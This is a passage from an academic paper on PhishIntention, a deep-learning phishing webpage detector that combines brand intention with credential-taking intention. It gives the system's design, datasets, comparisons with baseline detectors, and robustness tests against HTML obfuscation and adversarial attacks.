for launching a new phishing campaign. Such misleading
legitimacies are prevalent on the Internet, and our empirical
results show that we can collect 3K misleading legitimacies
within a week from the emerging new websites (see Section
9).
HTML Obfuscation. Targeting the solutions that use vari-
ous HTML analysis techniques for detecting credential-taking
intention, an attacker modifies the HTML code of the phish-
ing webpages, while preserving the same appearance and
dynamics to interact with the users.
Adversarial Attack against Deep Learning Models. Tar-
geting any deep-learning based solutions, an attacker can
generate adversarial samples to misguide the models to make
wrong predictions. If successful, the phishing pages can evade
a deep-learning based phishing detection solution.

PhishIntention mitigates the first adversary by significantly
lowering the false-positive rate on misleading legitimacies;
addresses the second by analyzing webpage screenshots, with
the least dependence on HTML analysis; and addresses the
third by adopting a model gradient-masking technique to
nullify the popular gradient-based adversarial attacks.

3 Related Works

Classification-based and blacklist-based approaches.
Blocking webpage visits using blacklists is a popular solu-
tion in the industry (e.g., using Google Safe Browsing [8]
and OpenPhish [6]). The generation of a blacklist relies on
a combination of automatic scanning and manual verifica-
tion [14, 52]. However, generation of phishing websites is
largely automated [21], and causes a time delay between
blacklist updates and zero-day phishing emergence [52].

Many works are designed to craft features from URL,
HTML code, screenshot, etc., to build a classifier for phishing
detection. Rakesh et al. [62] construct a feature set including
HTTP/HTTPS protocol type, URL length, etc., to distinguish
phishing URLs from legitimate ones. Following their work,
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Hung et al. [37] propose a deep learning sequential model
called URLNet to classify URLs into phishing or benign.
Cantina [69], Li et al. [40], and Lee et al. [39] aggregate both
URL-based features and HTML-based features to achieve
superior performance on their datasets. Readers may refer to
a few surveys on classification-based solutions [34, 61, 63].

Reference-based approaches. Referenced-based solutions
detect phishing attacks by referencing a set of representations
(e.g., logo and screenshot) of well-known brands (Paypal,
Amazon, etc.). Based on the representation forms, the solu-
tions can be categorized into search-engine based, screenshot-
based, and logo-based approaches.

Screenshot-based approaches explore different similarity
measurements between two screenshots. Fu et al. [23] propose
extracting a screenshot signature as reference. They adopt a
dynamic programming algorithm, Earth Mover’s Distance
(EMD), to find the optimal match between two screenshots
based on their color scheme. Following their work, Medvet
et al. [49] and Rosiello et al. [57] compare visible text and
visual similarity between HTML DOM tree and HTML tags in
the screenshots. VisualPhishNet [10] is the latest screenshot-
based reference solution, which trains a Siamese model to
predict the similarity between two given screenshots.

Logo-based approaches address logo location and recogni-
tion problem. Afroz et al. [11] and Wang et al. [64] propose
PhishZoo and VeriLogo, respectively. They employ SIFT algo-
rithm [45] to detect and match the logo on a screenshot. Due
to the limitation of SIFT algorithm, their approaches incur
high false positive rate and large runtime overhead [41]. The
most recent work Phishpedia [41] overcomes the challenge
of recognizing logos by training two deep-learning based
computer vision models, i.e., an object detection model and a
Siamese model. Both PhishIntention and Phishpedia leverage
computer vision models to detect phishing webpages, but they
differ substantially in the following aspects:
Intention extraction. Phishpedia extracts only the brand
intention of a webpage. Although it reports input boxes
on the screenshot, they are not used to detect phishing
pages. In contrast, PhishIntention extracts both brand inten-
tion and credential-taking intention, and further confirms the
credential-taking intention via webpage interaction.
Technical contribution: Technically, Phishpedia uses only
the logo to detect phishing. In contrast, PhishIntention orches-
trates a system of deep learning models (detailed in the next
two sections) to serve multiple purposes:
1) Inferring credential-taking intention by abstracting and pre-
dicting webpage layout;
2) Detecting whether a non-CRP can further lure a user to
visit a CRP via both static and dynamic analyses;
3) Improving the logo detection technique with small number
of samples (we achieve a better performance with ∼8K train-
ing screenshots, in comparison to Phishpedia trained with
∼29K screenshots) and the logo recognition technique with

Algorithm 1: detect_phishing
Input :url,S ,code,R , tdep, ts
Output :binary phishing result, target brand

1 if tdep < 0 then
2 return {False, Null}

// step 1: abstract webpage layout detection

3 awl = detect_layout(S)
// step 2: brand recognition

4 brand = match_logo(R ,awl.logo, ts)
5 if brand is null or url.domain ∈ brand.domains then
6 return {False, Null}

7 else
// step 3: classify CRP

8 is_CRP =CRP_classify(S ,awl)
9 if is_CRP is true and url.domain /∈ brand.domains

then
10 return {True, brand}

11 else
// step 4: look for CRP (dynamic analysis)

12 links = detect_potential_CRP(S ,code)
13 for link ∈ links do
14 urll ,Sl ,codel = parse link

// recursively continue the process

15 {is_phishing, brandtar}=
detect_phishing(urll ,Sl ,codel , tdep−1)

16 if is_phishing and
urll .domain /∈ brandtar.domains then

17 return {True, brandtar}

18 return {False, Null}

OCR-aided model architecture (see Q3 in Section 8 for de-
tails).

4 PhishIntention: Design and Development

Figure 3 presents an overview of PhishIntention. Given a URL
(along with its screenshot and HTML code), PhishIntention
first extracts the Abstract Webpage Layout (AWL) for detect-
ing both brand intention and credential-taking intention. For a
webpage without credential-taking intention, PhishIntention
interacts with the webpage to search for a link that in turn
directs to a credential-requiring page (CRP).

Algorithm 1 (detect_phishing) lists down the steps. It
takes as input a url (with its screenshot S and HTML code
code), a list of protected brands R , a CRP search depth tdep
for dynamic analysis, and a logo matching threshold ts. It
generates an output whether the url is a phishing webpage
and the phishing target brand (if so). For each brand in R , we
maintain its logos and legitimate domains.
Step 1 (Section 4.1): Abstract Webpage Layout Detection.
We extract a new form of webpage representation, i.e., Ab-
stract Webpage Layout (AWL), describing the regions and po-
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Figure 3: PhishIntention extracts screenshot layout to detect both its brand and credential-taking intentions. For a non-CRP,
PhishIntention further infers the UI elements that could transition to a CRP. A phishing alert is generated when a webpage
(1) intends to take credential, (2) conveys brand intention of a company r, while (3) its domain does not align with that of r.

sitions of salient UI components in the screenshot (as showed
in Figure 6, and line 3 in Algorithm 1). The AWL helps in
detecting logos and classifying whether a page requires cre-
dentials.
Step 2 (Section 4.2): Brand Recognition. We compare a
logo in AWL (i.e., awl.logo, line 4 in Algorithm 1) and the
logos of brands in R . If there is no match with similarity
greater than ts, we report the webpage as benign. Otherwise,
we further proceed to the next steps.
Step 3 (Section 4.3): CRP Classification. Subsequently, we
build a CRP classifier that takes the screenshot and the AWL
as input, and classifies whether the webpage requires user
credentials. This step corresponds to line 8 in Algorithm 1. If
the webpage is a CRP, but the domain of its URL does not
align with any of the domains of the matched brand, we report
it as a phishing page (lines 9-10).
Step 4 (Section 4.4): CRP-Transition Location. If the
above mentioned conditions are not satisfied, we investigate
whether any link/button on the webpage linked to a CRP,
which can potentially lure users to provide their credentials.
This step corresponds to lines 14-15 in Algorithm 1. We em-
ulate user clicks on the reported links/buttons, and retrieve
new redirected URLs along with their screenshots and HTML
codes (line 14). Given a new URL (urll), we further detect its
phishing intention recursively (line 15). The recursive process
continues until the predefined CRP search depth tdep is ex-
hausted (line 1-2 in Algorithm 1). We report the given URL as
benign if all those links/buttons redirect to benign webpages.

In order to accomplish the above steps, we need to address
the following technical challenges.
Challenge 1: Layout Definition and Extraction. Detecting
the AWL of a webpage is a non-trivial task. First, visually
salient components are hard to be fully formalized. High-
lighting too fine-grained UI elements (e.g., detailed icon and

(a) Bank of Scotland (b) A Russian Company

Figure 4: Example where Siamese model in Phishpedia mis-
matches two text-logos (from https://lyudyamolyudyah.ru/)

text) to compose layout introduces irrelevant noises. In con-
trast, highlighting too coarse-grained UI elements (e.g., huge
blocks) may miss salient intention-revealing information such
as credential-taking UI components. Second, extracting a lay-
out is technically challenging. Heuristics for visually salient
HTML elements are hard to define. The HTML elements
relevant to a page skeleton (e.g., div tag) may be visible or
invisible given different Javascript and CSS frameworks.
Challenge 2: Text-Logo Recognition. Logo recognition is
basically a logo similarity measurement problem. It is a chal-
lenging task because (i) the logos under the same brand can
be very diverse and (ii) the logos (especially text logo) under
different brands can be visually similar. Lin et al. propose
a Siamese training solution in Phishpedia [41] to address
the first issue. However, the technique still suffers from the
false positives caused by the similar text-logos under different
brands. Figure 4 shows an example where the Siamese model
proposed in Phishpedia mismatches the logo of Bank of Scot-
land with a Russian brand. They share similar appearances
and color, but convey totally different brand intentions.
Challenge 3: Identifying and Confirming Credential-
Taking Intention. An input box on a webpage does not nec-
essarily take credentials, e.g., it could be a search box. More
importantly, a phishing webpage portal may render no input
for user credential, i.e., it may not be a CRP (see Figure 5).
Instead, it presents a button to lure the user to input credential
after clicking the button. For the latter issue (i.e., CRP-link on
the webpage), the HTML code implementation can be quite
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(a) Original screenshot (b) Forwarded CRP

Figure 5: A phishing webpage linking to a CRP. The CRP
button on Figure 5a links to the webpage in Figure 5b.

Figure 6: AWL of the Facebook login page

diverse; besides, attackers can evade using HTML obfusca-
tion. These limit the effectiveness of HTML heuristics.

4.1 Abstract Webpage Layout (AWL)
Given a webpage screenshot S , we define its Abstract Web-
page Layout, L(S), as a set of boxes, representing visually
salient rectangular regions on S . Each box b ∈ L(S) is de-
scribed by a vector 〈x,y,w,h, t〉, where x,y represent its hori-
zontal and vertical coordinates in S , while w,h represent its
width and height, and t is its UI type. In this work, we sup-
port five UI element types — identity logo, input box, button,
text label, and block. Block indicates a salient region on the
webpage screenshot which is none of logo, input box, button,
and text label. The identity logo conveys the brand intention,
whereas the spatial arrangement of those UI elements may
further convey credential-taking intention. Figure 6 illustrates
the AWL of a Facebook webpage. Each orange rectangle,
with its type annotated, represents a visually salient region.

We design a data-driven approach to address the problem of
ambiguous definitions of layouts. Specifically, we constructed
a layout dataset of ∼9K webpage screenshots, annotated with
regions and types of salient UI elements (Section 5.1). Subse-
quently, we train an object detection model to predict salient
UI elements (and their types) on the screenshots. Techni-
cally, we regard each annotated component as an object on a
screenshot (similar to a pedestrian or a car in a street view).
We choose the Faster R-CNN model [56], which takes as
input a screenshot, and generates as output a set of regions
on the screenshot in the form of 〈x,y,w,h, t〉, where, x,y,w,h
represent the coordinate in horizontal position, vertical posi-

Image
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Embedding

Logo 
Embedding

Figure 7: OCR-aided Siamese Model

tion, width, and height, respectively. And t is a one-hot vector
where each dimension represents a specific classification type
(e.g, logo, button, etc.). The deep learning model is trained to
minimize the errors in type classification and region predic-
tion on the training dataset.

4.2 OCR-aided Brand Recognition

An identity logo, if exists, is one of the components in the
AWL. As mentioned in Section 4, a challenge in recognizing
logo is that, it can be an icon-like image, a sequence of charac-
ters, or even both. To compare two logo images, Phishpedia’s
Siamese model [41] is not expressive enough to capture the
fine-grained text shape (see Figure 4). In contrast, universally
applying OCR (Optical Character Recognition) [32] cannot
work on icon-like logos, and further incurs a high runtime
overhead. Comparing to other deep learning solutions [56]
which costs only a few milliseconds, an end-to-end deep OCR
model [58] takes a prohibitive 0.5s on average for predicting
the text of a single image.

We propose OCR-aided Siamese matching model to strike
a balance in learning between appearance-based features and
text-shape based features, which is also significantly more
time-efficient than full OCR model. Our OCR-aided Siamese
model is designed as depicted in Figure 7. The model has two
branches: one branch is the ResNetV2-50 feature extractor
from a pre-trained logo classification model which outputs
appearance-based embedding xappear, the other branch goes
through the encoder from a pre-trained OCR model which
outputs text-shaped based embedding xshape. Here, the pre-
trained OCR encoder captures text features over appearance-
based features to recognize digits and characters. We take the
ASTER encoder architecture [58] as our model.

The embeddings from the two branches are concatenated as
a unified representation, i.e., xall = [xappear;xshape]. Finally,
the overall embedding xall is fed into a fully connected net-
work, which is further transformed to the final logo embedding
xlogo. We jointly train all sub-modules through a logo classifi-
cation task. During deployment, we compare two logos using
the cosine similarity of their logo embeddings.
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4.3 CRP Classification

Defining HTML-based heuristics [22] (e.g., looking for spe-
cific HTML forms) can serve as a classifier for CRP. However,
it is easy to be bypassed by HTML obfuscation attack. We
design a vision-based CRP classifier which takes a screen-
shot and its AWL as a combined input, and is independent of
HTML code implementation. The rationale is that the spatial
arrangement of UI components (such as input boxes) may
convey credential-taking intention (see Figure 6). Comparing
to traditional image input which consists of 3-channel RGB
image, we additionally construct M input channels (M is equal
to the number of UI types) to encode the AWL. Let an RGB
image I have shape of N×N. Given a UI component b of type
t (e.g., block), the region containing the element is specified
by < x,y,w,h>. We assign the entries in pixel-matrix (N×N)
corresponding to the pixels overlapping with the region as
ones and others as zeros. Figure 8 shows an example where
we embed the type of block in a screenshot, which derives a
channel of shape N×N and pixel entries assigned as 0s or 1s.
Given M UI component types, we have M such channels. We
stack those channels with the original RGB channels as the
model input, as shown in Figure 9. Each additional channel
corresponds to the layout of a type of UI component (e.g., but-
ton, logo, blocks, etc). The channels are fed into a model with
ResNetV2-50 architecture [28] to classify whether a webpage
requires user credentials.

To provide an explanation of the credential-taking intention,
we highlight the credential-taking region on the screenshot,
as shown in Figure 10. We also overlay a heatmap on the
screenshot based on the model attribution technique, Score-
CAM [66], which reasons out the contribution of each region

Figure 10: A screenshot annotated by PhishIntention: the
highlighted region explains credential-taking intention

in the input to the output prediction. Technically, it measures
the output sensitivity to perturbation on the model input. For
more technical details, readers can refer to [66].

4.4 CRP-Transition Location

The landing phishing webpage may not always be a CRP.
Sometimes, attackers provide a link or show a button to lure
the victims to visit another CRP (see Table 1). We call such a
link or button as a CRP transition.

To detect the CRP transitions on a webpage, we apply
a hybrid solution, i.e., HTML heuristics as a pre-checking
filter and a deep learning solution (independent of HTML) to
predict the location of CRP transitions on the screenshot. Our
heuristic reports the hyperlinks under either condition:
1) The English text is exactly “Login” and “Sign Up” (case-
insensitive).
2) The non-English text translates to login and sign-up.

We search for the clickable DOM element with text that
matches any of the keyword heuristics. If the pre-checking
filter fails to locate any suspicious element, we resort to visual
object detector.

We train an object detector (Faster R-CNN [56]) to predict
the regions of CRP-transition based on screenshot, thereby
being independent of HTML implementation. We construct a
dataset consisting of screenshots annotated with CRP-buttons,
i.e., UI elements linkable to CRP webpages (Section 5.1).
Given that the number of the screenshots linkable to its CRP
webpage is limited, we adopt a transfer-learning routine by
pre-training an object detector on generated pseudo samples.
Specifically, we search for icon/images of CRP-buttons such
as buttons used for login and sign-up. Next, through the col-
lected dataset, we identify the “hotspot regions” on the screen-
shots where CRP-buttons frequently appear. Then, we overlay
the CRP-button images on webpage screenshots in the hotspot
regions to produce a much larger pre-training dataset. After
the pre-training, we fine-tune the object detection model based
on original screenshots labelled with CRP-buttons.
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The object detector allows us to assign a confidence score
to each detected object. Hence, given a threshold for the max-
imum number of user clicks, K, our model recommends the
top-K most likely UI components linkable to a CRP. We then
emulate user clicks on those predicted components to visit
and verify potential CRPs.

4.5 Defending Against Adversarial Attacks

To tackle adversarial attacks, we equip all the deep learn-
ing models with the gradient-masking technique proposed
in [41]. Specifically, we change the ReLU activation function
f = max(0,x) to f ′ = max(0,α ·

⌈ x
α

⌉
) to mask the gradients

(where α is the discretization parameter).

5 Performance Evaluation

We conduct evaluations regarding the following research ques-
tions:

• [RQ1] Phishing Detection Performance (Section 6):
How accurate and efficient is PhishIntention in detecting
phishing webpages; and how does it perform in comparison
to the baselines?

• [RQ2] Credential-taking Intention Confirmation Per-
formance (Section 7): How accurately can PhishIntention
locate CRP from a non-CRP webpage?

• [RQ3] Model-wise Performance (Section 8): How accu-
rate is each deep learning model of PhishIntention?

• [RQ4] Robustness Against Adversaries (Section 9):
Whether PhishIntention is robust against various adver-
saries:
1) When attackers collect and disseminate misleading le-
gitimacies, can PhishIntention well recognize them and
preserve user confidence?
2) When attackers build phishing webpages with HTML
obfuscation, can PhishIntention still detect and confirm
credential-taking intention?
3) Whether attackers can successfully generate adversar-
ial samples to compromise the deep learning models of
PhishIntention?

• [RQ5] Field Study (Section 10): What is PhishIntention’s
performance in detecting phishing webpages in the wild?

We design one experiment for answering each of the above
research questions. We refer to Appendix A.1 for details on
hardware configurations for training of models. In the fol-
lowing sections, we first introduce the datasets used to train
our deep learning models, then we describe each experiment
with its settings, baselines, and experimental results. Given

the complexity of experiment design (five sophisticated ex-
periments sharing six datasets), we visually describe the con-
nection among research questions, experiment designs, and
their prepared datasets in Appendix A.2.

5.1 Training/Testing Dataset
The datasets for detecting AWL, recognizing logos, classify-
ing CRPs, and locating CRP transitions are as follows.
For AWL Prediction and CRP Classification. We collected
9,010 webpage screenshots; the training:testing ratio as 9:1.
We annotate each screenshot with two types of labels:

• Layout Label: Each screenshot is labelled with boxes de-
scribing various salient UI components (logo, button, text
label, input, and block), to learn AWL. Overall, those 9,010
screenshots contain 9,540 logos, 64,386 buttons, 14,850
inputs, 7,383 labels, and 33,677 blocks.

• CRP Label: Each screenshot is labelled to indicate whether
it requires user credential or not.

For OCR-aided Siamese. We use Logo2K+ dataset [67] to
pre-train our OCR-aided Siamese model, containing 167,140
logo samples across 2,341 brands. In addition, we use the
Synth90k [33] and SynthText [26] datasets to pre-train the
OCR branch. We select 1,000 screenshots with logos from
the phishing webpage dataset, 1,000 from legitimate websites,
and crop their logos as testing dataset.
For CRP-Transition Location. We overlay 63 CRP-button
images on to 10,000 screenshots; this is done only for pre-
training. After pre-training, we use 4,843 non-CRP screen-
shots collected from real-world non-CRP phishing webpages
and the homepages of well-known websites (see Appendix
A.2) to train deep CRP locator. 3,310 non-CRP phishing and
1,003 non-CRP legitimate are used for testing.

5.2 Reference List & Click Emulation
We prepare a target list that includes 3,061 logos from 277
well-known brands (also used in [10,41]). The brands cover a
wide range of sectors including banking, online shopping, so-
cial media, etc. We emulate user clicks via Helium library [9]
to interact with online webpages. Helium is a tool built upon
Selenium which has high-level API design. We use its eager
mode to reduce webpage loading time.

6 RQ1: Phishing Detection Experiment

6.1 Settings
To evaluate PhishIntention’s performance in detecting brand
intention and credential-taking intention, we use 25,403 CRP
phishing webpages (see Table 1) from the phishing webpage
dataset. We randomly sample an equal number of webpages
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Table 2: Baseline description (see Section 3 for details)

Solution Reference
Representation Description

EMD [23]
(TDSC’06)

Screenshot Uses EMD algorithm to com-
pute the similarity between
two screenshots’ colour dis-
tributions.

VisualPhishNet [10]
(CCS’20)

Screenshot Trains a deep Siamese model
to report the similarity score
of two screenshots.

PhishZoo [11]
(ICSC’11)

Logo Uses SIFT algorithm to re-
port whether a screenshot
contains a given logo.

Phishpedia [41]
(USENIX Sec’21)

Logo Employs an object detection
model to extract logos from
screenshots and a Siamese
model to compare the simi-
larity between two logos.

from the benign webpage dataset. We evaluate the preci-
sion/recall of phishing detection.

Note, PhishIntention searches for a CRP from a non-CRP.
Thus, it is not possible to evaluate the overall pipeline on
traditional dataset, as many collected phishing webpages are
dead. We discuss PhishIntention’s performance of dynamic
analysis in Section 7.

6.2 Baselines
Table 2 lists four reference-based existing techniques consid-
ered in this study. We select two screenshot-based solutions
and two logo-based solutions. EMD and PhishZoo are well-
known early reference-based approaches. VisualPhishNet and
Phishpedia are the latest state-of-the-art screenshot-based and
logo-based approaches, respectively.
Reference selection. We construct a target list of 277 brands
for analysing all the five approaches. We equip the screenshot-
based approaches EMD and VisualPhishNet with 9,334 refer-
enced screenshots, and the logo-based approaches PhishZoo
and Phishpedia with 3,061 referenced logos (see Section 5.2).
Implementation. We use the implementation of EMD and
PhishZoo published in [3]. We implement Phishpedia based
on [41]. For VisualPhishNet, we use the implementation made
publicly available [5].

6.3 Results
Figure 11 plots the ROCs in for the five solutions. The loga-
rithm scale helps to observe their performances (in terms of
recall or true positive rate) at the practical requirement of low
false positive rates (FPR), e.g., at FPR of 10−3. In comparison
to the best performing baseline solution Phishpedia, PhishIn-

Figure 11: ROCs of EMD, PhishZoo, VisualPhishNet, Phish-
pedia, and PhishIntention

(a) Matched logo (Visa) (b) Logo from NSK

Figure 12: Phishpedia’s Siamese model wrongly matching
NSK logo (from nsk.cyrek.xyz) to Visa logo

tention achieves a higher accuracy on overall benign/phish-
ing webpage dataset. At a low FPR of 10−3, PhishIntention
achieves a recall of 0.9, which is more than twice the recall of
Phishpedia. To put it differently, at the recall of 0.9, PhishIn-
tention incurs a FPR that is two orders of magnitudes less than
that of Phishpedia (∼ 10−3 versus ∼ 10−1). The remaining
solutions have negligible recall values at an FPR of 10−3.

It shows that PhishIntention improves the reference-based
phishing detection capability beyond the existing solutions.
Lastly, the mean/median runtime overhead of PhishIntention
is relatively low — PhishIntention incurs 0.58s/0.69s, whereas
Phishpedia incurs 0.39s/0.41s, EMD 1.23s/1.20s, PhishZoo
65.45s/21.93s, and VisualPhishNet 0.26s/0.23s.

6.4 Qualitative Analysis

We now qualitatively compare PhishIntention with Phishpedia
and VisualPhishNet to further understand how our approach
outperforms the baselines. More examples can be found in [7].
Advantages of PhishIntention over Phishpedia. We ob-
serve that PhishIntention outperforms Phishpedia for three
reasons: (1) accurate credential-taking intention extraction
(for higher precision), (2) more accurate OCR-aided logo
matching (for higher precision), and (3) more accurate logo
detection (for higher recall). As for the first reason, we have
shown in Figure 2 that only detecting brand intention is insuf-
ficient, we discuss the other two reasons here.

The extra OCR branch helps PhishIntention to reduce false
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positives on text-based logos made by Phishpedia. Figure 12
shows a false positive reported by Phishpedia which matches
the logo of NSK with that of Visa. In contrast, PhishIntention
distinguishes text-based features well.

(a) Original screenshot

(b) Matched logo (Square)

(c) Phishpedia Results (d) PhishIntention Results

Figure 13: A phishing webpage with color of logo similar to
that of background (https://squareup.com/login)

Furthermore, we observe that PhishIntention is more
sensitive than Phishpedia in recognizing brand logos be-
cause PhishIntention is trained on more diverse UI compo-
nents (i.e., logo, button, input, label, and block). Figure 13
shows a phishing example whose target brand is Square
(https://squareup.com/login). Figure 13a shows the screenshot
of the phishing webpage and Figure 13b shows the matched
logo by PhishIntention. Figure 13c and Figure 13d depict
the results from Phishpedia and PhishIntention, respectively.
We observe that PhishIntention recognizes complete salient
UI components such as logo, input, button, and block, while
Phishpedia reports neither logo nor input, despite the fact
that the object detection model of Phishpedia is trained using
a ∼29K labelled screenshot dataset; PhishIntention, on the
other hand, is trained on only ∼8K training dataset.
Advantages of PhishIntention over VisualPhishNet.
PhishIntention outperforms VisualPhishNet because the
similarity between screenshots can be confusing when
(1) the test webpage conveys the same brand intention yet
having a different appearance from template, or (2) the
webpage conveys a different brand intention but have a
similar appearance as template (as shown in Figure 1). We
provide more of such examples in [7].

7 RQ2: CRP Location Experiment

7.1 Settings
We evaluate PhishIntention’s CRP locating technique with
two datasets (see Section 5.1): (1) the 3,310 non-CRP phish-
ing webpages containing a CRP button, and (2) 1,003 le-
gitimate non-CRPs, each of which has a ground-truth URL

redirected to a CRP page. For the example of the latter, un-
der the domain of paypal.com, we pick a non-CRP such
as https://www.paypal.com/home, and attach it with a
ground-truth URL of CRP (e.g., https://www.paypal.com/
signin). We use completeness as the performance measure-
ment. Specifically, let the number of webpages reported with
true CRP button (or true CRP URL) be M and the total number
of webpages in the experiment be N; completeness is defined
as M

N . For the legitimate webpages, we evaluate how complete
PhishIntention is in discovering the ground-truth CRP URLs.
Note that, the non-CRP phishing webpages are inaccessible.
Thus, we evaluate how complete can PhishIntention report
the ground-truth CRP-transition on the screenshot.

We run CRP locator on the above two datasets in three
modes, i.e., (1) only with HTML heuristics, (2) only with
deep learning model (i.e., Faster R-CNN model), and (3) with
both HTML heuristics and deep learning model.

7.2 Results

Table 3 gives the result. The HTML heuristics and the deep
learning model complement with each other. The combined
approach of HTML heuristics and deep learning model has
the best performance to locate CRPs on the non-CRPs. For
the non-CRP phishing dataset, deep learning model alone
achieves an acceptable completeness of 83.1%. Note that, non-
CRP phishing webpages are dead so we cannot confirm their
CRP links. Therefore, we can only apply the deep learning
solution on their screenshot.

Table 3: Performance of dynamic analysis to locate a CRP
from a non-CRP

Approach Dataset Completeness

HTML only
Legitimate 83.2%
non-CRP Phishing /

Deep learning only
Legitimate 72.9%
non-CRP Phishing 83.1%

HTML+Deep learning
Legitimate 93.3%
non-CRP Phishing /

We also investigate the samples where PhishIntention does
not work well. We observe that the webpages with uncom-
mon login-keyword or login-icon can mislead the CRP locator.
Figure 14 presents a screenshot of a legitimate website. Phish-
Intention predicts two boxes as its CRP buttons (boxes in
orange). However, one button is to change language and the
other is to search inside the website. The real CRP button
is with the name of “IdCorreios”, which uses an uncommon
icon to represent the login semantics. Moreover, its HTML
code does not conform to our predefined credential-requiring
keywords in HTML heuristics. A remedy is to fine-tune our
model based on the informative samples. We will investigate
this in our future work.
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Figure 14: PhishIntention fails to locate CRP transition

8 RQ3: Evaluating Model-wise Contributions

We evaluate the following questions in this section:

• Q1: What is the prediction accuracy of each individual
model, i.e., AWL detection model, CRP transition location
model, CRP classifier, and the OCR-aided Siamese model?

• Q2: How is the performance of PhishIntention in detecting
logo comparing to that of Phishpedia?

• Q3: How effective is PhishIntention’s OCR-aided Siamese
model in comparison to Phishpedia’s Siamese model?

• Q4: How effective is PhishIntention’s hybrid input based
CRP classifier in comparison to individual input classifier?

• Q5: How effective is PhishIntention’s CRP classifier in
comparison to naive input-box information?

Settings. For the above models, we use the datasets men-
tioned in Section 5.1. We use mAP (mean Average Precision),
a measurement widely used in computer vision community,
to evaluate object detection models i.e. layout detection and
CRP button/link detection. For CRP classifier, we evaluate its
classification accuracy.
Q1) Individual Model Accuracy. Table 4 shows the accu-
racy of all models. Overall, each individual model achieves
good results. The AWL detector achieves mAP of 56.7 aver-
aged over all UI categories and mAP of 59.5 on logo category.
CRP-Transition Locator achieves a high mAP of 44.6.
Q2) Logo detection performance. We compare the logo de-
tection capabilities of PhishIntention and Phishpedia in the
first two rows of Table 4 (second column). PhishIntention
achieves significantly higher performance (by about 13 mAP
points); this is because the model in PhishIntention is trained
with more diverse types of UI elements (than in Phishpedia).
Q3) Effectiveness of OCR-aided Siamese Model. We com-
pare OCR-aided Siamese model and the Siamese model used
in Phishpedia in the last two rows of Table 4; the OCR-aided
Siamese model matches ∼5.5% more logos.

Table 4: The testing performance of each deep learning model.
The mAP measurement is under the IoU thresholds 0.5:0.95.

Model Overall
mAP

Logo
mAP

Prediction
Acc

Matching
Acc

Layout Detection 56.7 59.5 / /
Logo/Input Detection
(in Phishpedia)

54.7 46.6 / /

CRP-Transition Locator 44.6 / / /
CRP Classifier / / 0.950 /
OCR-Aided Siamese / / / 0.891
Traditional Siamese
(in Phishpedia) / / / 0.835

Table 5: Comparing CRP classifier with different inputs

CRP Classifier Type Train Accuracy Test Accuracy
Layout-only classifier 94.8% 90.0%
Screenshot-only classifier 100.0% 89.0%
Combined classifier 99.3% 95.0%
Input box heuristics / 60.8%

Q4) Effectiveness of Hybrid Input. We train CRP classi-
fiers with layout-only as input and screenshot-only as input,
and compare them with the CRP classifier with hybrid in-
puts. Table 5 shows the results. Typically, training only on
screenshot leads to over-fitting because of learning detailed
pixel-level features. In contrast, training on more general fea-
tures, i.e. layout, allows the model to generalize better but
raises challenges in model fitting. Combining both allows us
to strike a balance and achieve the best performance.
Q5) Effectiveness of CRP Classifier. We evaluate whether
using input-boxes on screenshots is sufficient to predict
credential-taking intention. Here, we use Phishpedia as a
baseline; it can report both logo and input boxes, and we use
the input box prediction as an indicator to predict CRP. The
last row in Table 5 gives the result. Such a simple heuristic
can only achieve classification accuracy of 60.8%, performing
much lower than the above three CRP classifiers.

9 RQ4: Robustness Against Adversaries

We evaluate the robustness of PhishIntention against adver-
saries of misleading legitimacy, HTML obfuscation, and ad-
versarial attack on deep learning models.

9.1 Settings

i) Misleading Legitimacy. We collect and verify 3,049 mis-
leading legitimate websites (from Apr 9, 2021 to Apr 16,
2021) from the emerging new websites reported by Cert-
Stream [1] based on any of the three conditions: 1) me-
dia/news/blog websites with links to Facebook, Twitter,
Youtube, etc., 2) websites allowing sign-in or registration
via Facebook, Google, etc., and, 3) websites with advertise-
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ment of companies such as Amazon, Microsoft, etc. We run
PhishIntention and four baselines (Section 6) to evaluate their
robustness against misleading legitimacies.
ii) HTML Obfuscation Adversary. PhishIntention ana-
lyzes webpages for 1) CRP detection (Section 4.3) and
2) CRP-Transition Location (Section 4.4). Our analysis
consists of light-weight HTML analysis and computer vi-
sion model. In this experiment, we compare PhishIntention
with XDriver [22], the latest HTML-based technique to dis-
cover and detect login/signup form, based on their robustness
against the following HTML obfuscation techniques:

• HTML Form Obfuscation (for CRP classification): We
apply squatting techniques [19,60] on HTML forms, e.g., by
replacing “login” and “sign up” with “l0gin” and “sigh up”.

• URL Obfuscation (for CRP location): We randomly re-
name the URLs linking to the CRPs while preserving the
CRP linkability.

We obfuscate the webpages used in CRP location experi-
ments (Section 7) and CRP classification experiments (Sec-
tion 7), and evaluate the model accuracy after the obfuscation.
The obfuscations are designed to nullify all the state-of-the-
art HTML heuristics (including ours), which are practical
solutions (1) taking the minimal efforts from the attackers
and (2) preserving the website appearance.
iii) Deep Model Adversary. We have two classifier-like mod-
els (CRP classifier and Siamese model) and two object detec-
tors (layout detection model and CRP location model). We
choose five popular adversarial attacks on the classifiers and
DAG [70] attack on the object detectors. The five popular
adversarial attacks are I-FGSM [25,36], I-StepLL [36], C&W
L2 [18], DeepFool [50], and BPDA [13]. While I-FGSM, I-
StepLL, C&W L2, and DeepFool depend on model gradient
to conduct attack, BPDA [13] is a gradient-recovering tech-
nique to recover masked gradients. DAG [70] is an adversarial
attack designed for object detection model, and its attack is
also based on model’s gradients.

We evaluate the robustness of each of PhishIntention’s
models against these attacks.

9.2 Results
i) Misleading Legitimacy Adversary. Figure 15 shows the
performances in terms of phishing detection rate on the phish-
ing/bengin webpage dataset (see Section 6) and the FPR on
the misleading legitimate dataset. Observe that, while the
baselines suffer from high FPRs (45.5% to 60.1%, see Fig-
ure 15), the false-positive rate of PhishIntention is signifi-
cantly much lower, i.e. 5.10%.
ii) HTML Obfuscation Adversary. Table 6 presents accu-
racy of CRP classification and CRP location before and after
HTML obfuscation. The accuracy of Xdriver [22] drops much
more significantly as the technique depends purely on HTML
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Figure 15: Best precision and recall on traditional webpage
dataset, and false positive rate on misleading dataset.

Table 6: Robustness Against HTML Obfuscation

Solution
Classification

Accuracy
Location
Accuracy

Before After Before After
PhishIntention 95.0% 95.0% 93.3% 72.6%
Xdriver 75.4% 59.2% 39.3% 3.4%

code. In contrast, PhishIntention largely preserves its classifi-
cation and location accuracy even when its HTML heuristics
are bypassed, thanks to the computer vision solution.
iii) Deep Model Adversary. Our experimental results show
that all models of PhishIntention are robust against I-FGSM,
I-StepLL, C&W L2, DeepFool, and DAG. Table 7 and Table 8
shows that the accuracy loss under attacks is much lower after
the defense.

10 RQ5: Phishing Discovery Experiment

10.1 Runtime Configurations
